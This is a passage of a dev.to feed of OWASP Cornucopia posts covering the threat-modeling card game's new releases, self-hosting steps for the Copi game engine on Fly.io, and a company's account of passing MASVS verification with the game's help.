&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F16t1mj00hgds2pamoxop.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F16t1mj00hgds2pamoxop.png" alt="play MLSec"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fur4lbab1plg4dtid57ob.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fur4lbab1plg4dtid57ob.png" alt="play MLSec2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  OWASP Cornucopia
&lt;/h2&gt;

&lt;p&gt;Uncover the security flaws in your software's design before the bad guys do it for you! Get your team together on a call or in a room and use OWASP Cornucopia Web &amp;amp; Mobile, Elevation of Privilege or Elevation of MLSec and OWASP Cumulus to secure your AI models and Cloud infrastructure respectively and guide your threat modelling at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt;, and if you visit our &lt;a href="https://github.com/OWASP/cornucopia" rel="noopener noreferrer"&gt;code repository&lt;/a&gt; please give us a star ⭐️.&lt;/p&gt;




&lt;p&gt;Learn how to play OWASP Cornucopia or Elevation of Privilege:&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>threatmodeling</category>
      <category>appsec</category>
      <category>openai</category>
    </item>
    <item>
      <title>OWASP® Cornucopia 2.2 &amp; Copi - A Game Engine for OWASP® Cornucopia Threat Modeling</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Mon, 19 May 2025 22:48:09 +0000</pubDate>
      <link>https://dev.to/owasp/owaspr-cornucopia-22-copi-a-game-engine-for-owaspr-cornucopia-threat-modeling-4okj</link>
      <guid>https://dev.to/owasp/owaspr-cornucopia-22-copi-a-game-engine-for-owaspr-cornucopia-threat-modeling-4okj</guid>
      <description>&lt;p&gt;&lt;em&gt;The pandemic drove a considerable increase in fully remote teams, which made card games quite difficult to organize. Therefore, in 2022, Grant Ongers was willing to bet a dinner at a fancy vegan restaurant that his former colleague Toby Irvine wouldn't be able to build a fully fledged and online game engine based on the game Cornucopia (from the OWASP® Foundation) over the weekend.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;A weekend later, Copi was born, and Grant lost the bet. &lt;br&gt;
Built with &lt;a href="https://elixir-lang.org/" rel="noopener noreferrer"&gt;Elixir &lt;/a&gt;and &lt;a href="https://phoenixframework.org/" rel="noopener noreferrer"&gt;Phoenix&lt;/a&gt;, 3 years later, Copi is nearing almost 10.000 monthly users. You can read more about Toby's story on the &lt;a href="https://securedelivery.io/articles/play-owasp-cornucopia-mobile-online/" rel="noopener noreferrer"&gt;Secure Delivery Blog&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  A new release &amp;amp; new server
&lt;/h2&gt;

&lt;p&gt;There is now a new release of &lt;a href="https://github.com/OWASP/cornucopia/releases/tag/v2.2.0" rel="noopener noreferrer"&gt;OWASP Cornucopia 2.2&lt;/a&gt; to celebrate a new milestone in the project's history.&lt;br&gt;
We have been able to push the application onto OWASP® Foundation’s Fly.io account so that you can enjoy the game. We have also updated the Elevation of Privilege game, which we also host, to include the cards that were missing from the original release of EoP, thanks to Adam Shostack, who made sure his game was open-sourced: &lt;a href="https://github.com/adamshostack/eop" rel="noopener noreferrer"&gt;https://github.com/adamshostack/eop&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;Finally, if you have stringent security policies that don't allow you to use public online services, no worries, you can run &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt; yourself on your own account and make sure nobody can access the service. We encourage you to install "&lt;a href="https://cornucopia.owasp.org/copi" rel="noopener noreferrer"&gt;Copi - The Cornucopia Game engine&lt;/a&gt;" and contribute to the project. Doing this is pretty straightforward. You can choose from installing it on &lt;a href="//Heroku.com"&gt;Heroku.com&lt;/a&gt; or &lt;a href="//Fly.io"&gt;Fly.io&lt;/a&gt;. We Recommend &lt;a href="//Fly.io"&gt;Fly.io&lt;/a&gt; as they support &lt;a href="https://fly.io/phoenix-files/beam-clustering-made-easy/" rel="noopener noreferrer"&gt;BEAM Clustering&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3i0jxrhnrcdbcj6p2kyq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3i0jxrhnrcdbcj6p2kyq.png" alt="Copi is free"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is how you do it… &lt;/p&gt;

&lt;p&gt;You'll need to install Elixir and &lt;a href="https://fly.io/docs/flyctl/install/" rel="noopener noreferrer"&gt;flyctl&lt;/a&gt; in order to launch the app. See: &lt;a href="https://github.com/OWASP/cornucopia/tree/master/copi.owasp.org#get-elixir" rel="noopener noreferrer"&gt;https://github.com/OWASP/cornucopia/tree/master/copi.owasp.org#get-elixir&lt;/a&gt;. Log in to fly and create a PostgreSQL cluster. See: &lt;a href="https://fly.io/dashboard/" rel="noopener noreferrer"&gt;https://fly.io/dashboard/&lt;/a&gt; (Click managed postgres in the menu). 1 GB of memory and 10GB of storage for the database are enough.&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/OWASP/cornucopia.git
cd cornucopia/copi.owasp.org
fly auth login
fly launch --no-deploy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Make a note of the host, the app's name, and the PostgreSQL cluster's name. Then deploy the app from ./copi.owasp.org&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fly mpg attach &amp;lt;cluster name&amp;gt; --app &amp;lt;app name&amp;gt;
fly deploy --app &amp;lt;app name&amp;gt; --env PHX_HOST=&amp;lt;app hostname without 'https://'&amp;gt;
fly scale count 2 --app &amp;lt;app name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The app will be deployed with a PostgreSQL database and two instances. The monthly cost is no more than 14$. &lt;/p&gt;

&lt;p&gt;Adding new card games with the same game rules as EoP or OWASP® Cornucopia is also easy. If you have any ideas and suggestions for security related card games then submit a request on &lt;a href="https://github.com/OWASP/cornucopia" rel="noopener noreferrer"&gt;https://github.com/OWASP/cornucopia&lt;/a&gt; and please don't forget to give us a star.&lt;/p&gt;
&lt;h2&gt;
  
  
  dotNET lab OWASP Cornucopia decks
&lt;/h2&gt;

&lt;p&gt;Thanks to dotNET lab and Jef Meijvis, all prior decks sold on &lt;a href="https://webshop.dotnetlab.eu/product/cornucopia-card-deck/" rel="noopener noreferrer"&gt;their website&lt;/a&gt; now have QR codes that are redirected towards our new website. This means that if you have an old dotNET lab OWASP Cornucopia deck, then you don’t need to be afraid that your deck will become outdated when there is a new release of OWASP Cornucopia Website Edition. The QR code on the card will take you to the latest version on &lt;a href="https://cornucopia.owasp.org" rel="noopener noreferrer"&gt;cornucopia.owasp.org&lt;/a&gt; with the newest requirement mapping.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F927fflfjuhv4w3t8xz1y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F927fflfjuhv4w3t8xz1y.png" alt="dotNET lab OWAS Cornucopia card"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  OWASP 2025 Global AppSec EU
&lt;/h2&gt;

&lt;p&gt;We will be attending the OWASP 2025 Global AppSec EU, and if you are heading there, you can join us at our &lt;a href="https://sched.co/1yOiQ" rel="noopener noreferrer"&gt;demo lab&lt;/a&gt;, where you will learn to play the game in an all-new way. Expect confetti, swag (yes, you read right, swag, valued just below the corruption limit), and illegal bribes as we venture into the dark side of OWASP Cornucopia.&lt;br&gt;
We will also be showcasing OWASP Cornucopia at &lt;a href="https://sched.co/1yOO3" rel="noopener noreferrer"&gt;the project showcase track&lt;/a&gt;. If you are headed there, you may be in for a surprise. Can't wait to see you there!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2qsnz7hbn7sx6d1851u5.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2qsnz7hbn7sx6d1851u5.jpg" alt="The OWASP Cornucopia Global AppSec 2025 Demo Lab"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  OWASP Cornucopia
&lt;/h2&gt;

&lt;p&gt;Uncover the security flaws in your software's design before the bad guys do it for you! Get your team together on a call or in a room and use OWASP Cornucopia Web &amp;amp; Mobile, Elevation of Privilege or Elevation of MLSec and OWASP Cumulus to secure your AI models and Cloud infrastructure respectively and guide your threat modelling at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt;, and if you visit our &lt;a href="https://github.com/OWASP/cornucopia" rel="noopener noreferrer"&gt;code repository&lt;/a&gt; please give us a star ⭐️.&lt;/p&gt;



&lt;p&gt;Learn how to play OWASP Cornucopia:&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>appsec</category>
      <category>gamedev</category>
      <category>elixir</category>
      <category>security</category>
    </item>
    <item>
      <title>OWASP® Cornucopia Website App 2.1 &amp; Mobile App 1.1!</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Fri, 14 Feb 2025 09:29:28 +0000</pubDate>
      <link>https://dev.to/owasp/owaspr-cornucopia-website-app-21-mobile-app-11-2fj3</link>
      <guid>https://dev.to/owasp/owaspr-cornucopia-website-app-21-mobile-app-11-2fj3</guid>
      <description>&lt;h2&gt;
  
  
  &lt;em&gt;OWASP® Cornucopia is launching &lt;a href="https://github.com/OWASP/cornucopia/releases/tag/v2.1.0" rel="noopener noreferrer"&gt;brand-new versions&lt;/a&gt; of the OWASP Cornucopia decks with QR codes and a new website that will make threat modeling, security requirement gathering and security design much easier.&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;Each of the QR codes will take you to a brand new OWASP Cornucopia website where you can further explore each card and the security requirements and -controls connected to them  (see: &lt;a href="https://cornucopia.owasp.org/" rel="noopener noreferrer"&gt;https://cornucopia.owasp.org/&lt;/a&gt; ).&lt;br&gt;
This will help scale secure design and requirement gathering activities for your development teams and empower them to do application security in a more agile way. &lt;/p&gt;
&lt;h2&gt;
  
  
  A new OWASP Cornucopia website
&lt;/h2&gt;

&lt;p&gt;In recent years, other OWASP projects have created their own custom websites to have greater control over content and layout. With the recent successful codification of all the Cornucopia materials for both the Website App Edition and Mobile App Edition, our project has now also created a custom website using an owasp.org&lt;/p&gt;

&lt;p&gt;subdomain:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cornucopia.owasp.org" rel="noopener noreferrer"&gt;https://cornucopia.owasp.org&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We would like to thank dotNET lab for donating their website code for this development. Volunteer Jef Meijvis were instrumental in making the website with the help from the rest of the project team. All the source code is located in our repository, providing a way to maintain consistency by using some of the same data sources. The website's repo is at:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/cornucopia/tree/master/cornucopia.owasp.org" rel="noopener noreferrer"&gt;https://github.com/OWASP/cornucopia/tree/master/cornucopia.owasp.org&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F88hocuor5xffejhqn9pj.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F88hocuor5xffejhqn9pj.jpg" alt="OWASP® Cornucopia Mobile App Edition" width="800" height="602"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This has allowed us to add a news section, and reinstate an extended version of the Wiki Deck, originally created by former co-leader Darío De Filippis, combining information from that and new content and code kindly donated by dotNET lab. There are now fully browsable cards for both editions (Website app and Mobile app) and which can also be examined by mapping taxonomy (e.g. OWASP ASVS, OWASP MASTG, OWASP Top Ten):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cornucopia.owasp.org/cards" rel="noopener noreferrer"&gt;https://cornucopia.owasp.org/cards&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cornucopia.owasp.org/taxonomy" rel="noopener noreferrer"&gt;https://cornucopia.owasp.org/taxonomy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The card URLs will be the unique end points linked from QR codes on printed cards, and which include guidance, tips and all the taxonomy lookups, making it easier to alter and extend these whenever we want. Recent new additional volunteer names have now been added in the acknowledgements.&lt;/p&gt;
&lt;h2&gt;
  
  
  New translations
&lt;/h2&gt;

&lt;p&gt;In addition to the new versions of the editions and the OWASP Cornucopia website, the new release also comes with two new translations "PT-PT" (Portuguese-Portugal) and "IT" (Italian) thanks to André Ferreira ( @AndreFerreiraMsc ) and Ruggero DallAglio ( @rdallaglio ), respectively. As with previous translations, these are also delivered in 2 sizes, bridge and tarot, both with and without QR codes in addition to also being delivered as legacy guide documents. The new translations will be available in digital formats for download and print-on-demand.&lt;/p&gt;
&lt;h2&gt;
  
  
  Printing of the new decks
&lt;/h2&gt;

&lt;p&gt;Additionally, &lt;a href="https://dotnetlab.eu/" rel="noopener noreferrer"&gt;dotNET lab&lt;/a&gt; is going to sell the OWASP Cornucopia decks on their web shop (see: &lt;a href="https://cornucopia.owap.org/webshop" rel="noopener noreferrer"&gt;https://cornucopia.owap.org/webshop&lt;/a&gt;). Both the Website App &amp;amp; Mobile App editions will come with QR codes printed on them.&lt;br&gt;
The new versions of the decks are currently in the process of being printed, but we will keep you informed when these are ready, in the mean time, it's possible to buy the &lt;a href="https://agilestationery.com/products/owasp-cornucopia-mobile-app-edition-threat-modeling-cards?pr_prod_strat=jac&amp;amp;pr_rec_id=86844c1b8&amp;amp;pr_rec_pid=9497729237285&amp;amp;pr_ref_pid=4756732510279&amp;amp;pr_seq=uniform" rel="noopener noreferrer"&gt;1.0 Mobile App Edition&lt;/a&gt; and &lt;a href="https://agilestationery.com/products/owasp-cornucopia-2-0-website-app-edition-threat-modeling-cards?pr_prod_strat=e5_desc&amp;amp;pr_rec_id=86844c1b8&amp;amp;pr_rec_pid=9488500654373&amp;amp;pr_ref_pid=4756732510279&amp;amp;pr_seq=uniform" rel="noopener noreferrer"&gt;2.0 Website App edition&lt;/a&gt; from AgileStationary.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ipei39zup4rku99eg8x.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ipei39zup4rku99eg8x.jpg" alt="OWASP® Cornucopia Mobile App Edition" width="800" height="602"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Threat modeling as a tool for shifting security efforts left
&lt;/h2&gt;

&lt;p&gt;In &lt;a href="https://admincontrol.com/" rel="noopener noreferrer"&gt;Admincontrol&lt;/a&gt;, where I work, we were struggling to get the developers to participate actively in threat modeling sessions. Most of them would usually stay quiet and too embarrassed to participate in the conversation. They would rely heavily on the input from security engineers and security champions to formulate security requirements and -controls needed in order to implement security design and -architecture. &lt;br&gt;
They rarely took initiative during threat modeling sessions or helped to do threat modeling and requirement gathering. We also found that testers would only focus on testing the functional requirements for the software implementation under test and never do penetration testing themselves. &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3m5opolajoemifjjpa2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3m5opolajoemifjjpa2.jpg" alt="A CISO waiting for developers to start threat modeling" width="740" height="932"&gt;&lt;/a&gt;&lt;br&gt;
We therefore came to the realization that we needed to give the development teams a set of already defined applicable threats and risks they could choose from and talk about and that could work as triggers to help them come up with security requirements and -controls themselves.&lt;/p&gt;

&lt;p&gt;Doing so, in the form of a game, helped increase the participants' ownership over the process, although it was the cards that were speaking, they were the ones that were choosing, explaining, scoring points and getting the attention.&lt;br&gt;
This tremendously helped increase motivation and ownership over the process and has been key in scaling application security for companies doing software development. It’s no longer hard to elect security champions from the teams, and threat modeling, planning and testing is much easier to execute than before.&lt;br&gt;
As application security engineers no longer are bottlenecks in the agile development processes, scaling application security efforts has become much easier. Cornucopia is empowering and teaching the development teams how to do threat modeling, what to test and implement, what to plan and how to execute security work. It is helping us to deliver faster, make the teams more independent, and shifting security efforts left. Application security engineers are needed, but the focus is turned towards facilitation, cheerleading and training.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe1a12zg3g57d17aqjkpr.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe1a12zg3g57d17aqjkpr.jpg" alt=" " width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  We are looking for your support
&lt;/h2&gt;

&lt;p&gt;OWASP Cornucopia is about community. We would have gotten nowhere without the help of all the people that has supported OWASP Cornucopia over the years. This is why, when making the first version of OWASP Cornucopia, Colin Watson though it would be a great idea if the threat actors on the cards had the names from members and employees from the OWASP Foundation. The Mobile App edition follows that tradition. That is why we picked threat actor names, for the threat scenarios on the cards, from OWASP Global board, OWASP Staff, project members and OWASP chapter leaders from around the world, but we still need your support. We are looking for volunteers that would like to help us improve the new website and that would like to help translate the materials into various languages to ensure that developers who don't have English as their mother tongue, understand the security requirements and controls presented to them. We are also looking for ideas and help in maintaining and improving the new website to ensure it becomes a valuable tool for everyone looking at solving application security challenges.&lt;/p&gt;
&lt;h2&gt;
  
  
  OWASP Cornucopia
&lt;/h2&gt;

&lt;p&gt;Uncover the security flaws in your software's design before the bad guys do it for you! Get your team together on a call or in a room and use OWASP Cornucopia Web &amp;amp; Mobile, Elevation of Privilege or Elevation of MLSec and OWASP Cumulus to secure your AI models and Cloud infrastructure respectively and guide your threat modelling at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt;, and if you visit our &lt;a href="https://github.com/OWASP/cornucopia" rel="noopener noreferrer"&gt;code repository&lt;/a&gt; please give us a star ⭐️.&lt;/p&gt;



&lt;p&gt;Learn how to play OWASP Cornucopia:&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
&lt;/iframe&gt;
&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>appsec</category>
      <category>security</category>
      <category>threatmodeling</category>
      <category>agile</category>
    </item>
    <item>
      <title>How to pass the OWASP MASVS verification by design</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Fri, 14 Feb 2025 08:28:17 +0000</pubDate>
      <link>https://dev.to/owasp/how-to-pass-the-owasp-masvs-verification-by-design-2cf9</link>
      <guid>https://dev.to/owasp/how-to-pass-the-owasp-masvs-verification-by-design-2cf9</guid>
      <description>&lt;h2&gt;
  
  
  &lt;em&gt;In Admincontrol, both our Android app and our IOS app just passed the MASVS 2.0 verification. And we did so by deciding on the security requirements and -controls using a game. Here is how...&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;In April 2023, OWASP released version &lt;a href="https://mas.owasp.org/MASVS/" rel="noopener noreferrer"&gt;v2.0.0 of their “Mobile Application Security Verification Standard.”&lt;/a&gt; The new version removes the three verification levels called L1, L2, and R. Security control group verification requirements was reworked as “security testing profiles” and moved to the OWASP Mobile Application Security Testing Guide or “MASTG.” These profiles are now aligned with the NIST (National Institute of Standards and Technology) OSCAL (Open Security Controls Assessment Language) standard. The standard is to be used together with the OWASP Mobile Application Security Testing Guide (&lt;a href="https://mas.owasp.org/MASTG/" rel="noopener noreferrer"&gt;MASTG v1.7&lt;/a&gt;) that comes with at least 82 tests that a mobile penetration tester should conduct in order to verify that the mobile application follows the MASVS standard.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3u5zjhisi63zndxwteo9.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3u5zjhisi63zndxwteo9.jpg" alt="The new OWASP Cornucopia Mobile Edition" width="800" height="429"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;It can be overwhelming for any mobile development team to go through all the requirements and tests that MASVS and the 575 pages long MASTG guide brings with them, but what if I told you that there is a game for deciding on the initial security requirements, tests and implementation for passing the MASVS verification?&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  How to pass the MASVS verification by design
&lt;/h2&gt;

&lt;p&gt;In &lt;a href="https://admincontrol.com/" rel="noopener noreferrer"&gt;Admincontrol&lt;/a&gt;, where I work, we wanted to make a new Android mobile app for our board portal services. As we benchmark the security of our webservices against ASVS L2 and our mobile apps against MASVS L2+R, we needed an agile way of making sure that all the MASVS requirements and the complete MASTG guide (which is 575 pages long) got taken into account when creating the secure design for the new mobile application. Otherwise, we would risk delivering an insecure app to our security aware users and fail the MASVS verification.&lt;br&gt;
Luckily we had discovered a game called OWASP Cornucopia that could be used for identifying application security requirement, create a secure design and do threat modeling. There was just one problem. The game wasn't meant for mobile application development. &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7r7t9n8752ymsvw9fxwu.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7r7t9n8752ymsvw9fxwu.jpg" alt="Mobile application security is no joke!" width="735" height="500"&gt;&lt;/a&gt;&lt;br&gt;
I knew that we couldn't just dump the 575 pages long mobile application security test guide in the mobile app developers laps. Doing so, would either prolong the development time extensively, or end up being ignored. Fortunately, the OWASP Cornucopia project was looking at creating a new mobile edition of OWASP Cornucopia. So I got in touch with the OWASP Cornucopia project where Xavier Godard had taken the initiative of making the new edition. Over the course of the next 3 months we finished the new &lt;a href="https://cornucopia.owasp.org/cards" rel="noopener noreferrer"&gt;"OWASP Cornucopia - Mobile App Edition"&lt;/a&gt;. We mapped it to the OWASP Mobile Application Security Verification Standard (&lt;a href="https://mas.owasp.org/MASVS/" rel="noopener noreferrer"&gt;MASVS v2.0&lt;/a&gt;) and OWASP Mobile Application Security Testing Guide (&lt;a href="https://mas.owasp.org/MASTG/" rel="noopener noreferrer"&gt;MASTG v1.7&lt;/a&gt;) and created six suits of 13 cards each plus two jokers, with the suit names taken from MASVS: Platform &amp;amp; Code (PC), Authentication &amp;amp; Authorization (AA), Network &amp;amp; Storage (NS), Resilience (RS), Cryptography (CRM) and Cornucopia (CM) which contained threats related to MASVS Privacy requirements, and where we also added some nasty cards related to mobile malware. Then we used the game to identify the mobile application security requirements, do threat modeling, and complete a secure design for our new mobile application.&lt;br&gt;
9 months after we started the mobile application development of the new mobile app, an external company completed penetration testing and MASVS 2.0 verification with a MAS L2+R profile and verified that the mobile app had passed all of the requirements with just one low severity finding.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;But why did we go to such lengths of investing tremendous efforts in creating a threat modeling game?&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Threat modeling as a tool for shifting security efforts left
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5y5l71o39iwotkiqtidr.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5y5l71o39iwotkiqtidr.jpg" alt="Threat modeling can make you feel like taking a nap, but falling asleep can have consequences." width="800" height="860"&gt;&lt;/a&gt;&lt;br&gt;
In Admincontrol, we had long been struggling to get the developers to participate actively in threat modeling sessions. Most of them would usually stay quiet, too embarrassed to participate in the conversation. They would rely heavily on the input from security engineers and security champions to formulate security requirements and -controls needed in order to implement security design and -architecture. &lt;br&gt;
They rarely took initiative during threat modeling sessions or helped to do threat modeling and requirement gathering. We also found that testers would only focus on testing the functional requirements for the software implementation under test and never do penetration testing themselves. We therefore came to the realization that we needed to give the development teams a set of already defined applicable threats and risks they could choose from and talk about and that could work as triggers to help them come up with security requirements and -controls themselves.&lt;/p&gt;

&lt;p&gt;Doing so, in the form of a game, helped increase the participants' ownership over the process, although it was the cards that were speaking, they were the ones that were choosing, explaining, scoring points and getting the attention.&lt;br&gt;
This tremendously helped increase motivation and ownership over the process and has been key in scaling application security for companies doing software development. It’s no longer hard to elect security champions from the teams, and threat modeling, planning and testing is much easier to execute than before.&lt;br&gt;
